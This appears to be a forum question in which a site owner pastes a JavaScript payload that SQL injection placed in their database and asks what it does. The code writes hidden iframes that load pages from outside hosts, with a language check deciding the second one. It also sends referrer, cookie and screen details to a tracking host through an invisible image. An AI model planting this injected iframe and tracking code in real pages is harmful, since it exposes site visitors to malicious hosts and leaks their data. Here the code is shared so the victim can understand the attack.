sql injection js script, can someone tell me what this is doing?

Our SQL Server DB was infected with some sort of SQL injection - I downloaded th .js and it is as follows:

document.writeln("<iframe src=http:\/\/www.killpp.cn\/456.htm width=100 height=1><\/iframe>");

if (navigator.systemLanguage=='zh-cn')
{

}
else{
document.writeln("<iframe src=http:\/\/www.qiqicc.cn\/dj.htm width=100 height=0><\/iframe>");
}



window.onerror=function(){return true};
document.write ('<script>var a3327tf="51la";var a3327pu="";var a3327pf="51la";var a3327su=window.location;var a3327sf=document.referrer;var a3327of="";var a3327op="";var a3327ops=1;var a3327ot=1;var a3327d=new Date();var a3327color="";if (navigator.appName=="Netscape"){a3327color=screen.pixelDepth;} else {a3327color=screen.colorDepth;}<\/script><script>a3327tf=top.document.referrer;<\/script><script>a3327pu =window.parent.location;<\/script><script>a3327pf=window.parent.document.referrer;<\/script><script>a3327ops=document.cookie.match(new RegExp("(^| )AJSTAT_ok_pages=([^;]*)(;|$)"));a3327ops=(a3327ops==null)?1: (parseInt(unescape((a3327ops)[2]))+1);var a3327oe =new Date();a3327oe.setTime(a3327oe.getTime()+60*60*1000);document.cookie="AJSTAT_ok_pages="+a3327ops+ ";path=/;expires="+a3327oe.toGMTString();a3327ot=document.cookie.match(new RegExp("(^| )AJSTAT_ok_times=([^;]*)(;|$)"));if(a3327ot==null){a3327ot=1;}else{a3327ot=parseInt(unescape((a3327ot)[2])); a3327ot=(a3327ops==1)?(a3327ot+1):(a3327ot);}a3327oe.setTime(a3327oe.getTime()+365*24*60*60*1000);document.cookie="AJSTAT_ok_times="+a3327ot+";path=/;expires="+a3327oe.toGMTString();<\/script><script>a3327of=a3327sf;if(a3327pf!=="51la"){a3327of=a3327pf;}if(a3327tf!=="51la"){a3327of=a3327tf;}a3327op=a3327pu;try{lainframe}catch(e){a3327op=a3327su;}document.write(\'<img style="width:0px;height:0px" src="http://web.51.la/go.asp?we=A-Free-Service-for-Webmasters&svid=12&id=1933327&tpages=\'+a3327ops+\'&ttimes=\'+a3327ot+\'&tzone=\'+(0-a3327d.getTimezoneOffset()/60)+\'&tcolor=\'+a3327color+\'&sSize=\'+screen.width+\',\'+screen.height+\'&referrer=\'+escape(a3327of)+\'&vpage=\'+escape(a3327op)+\'" \/>\');<\/script>');

Could someone tell me exactly what this is doing?

Thanks in advance.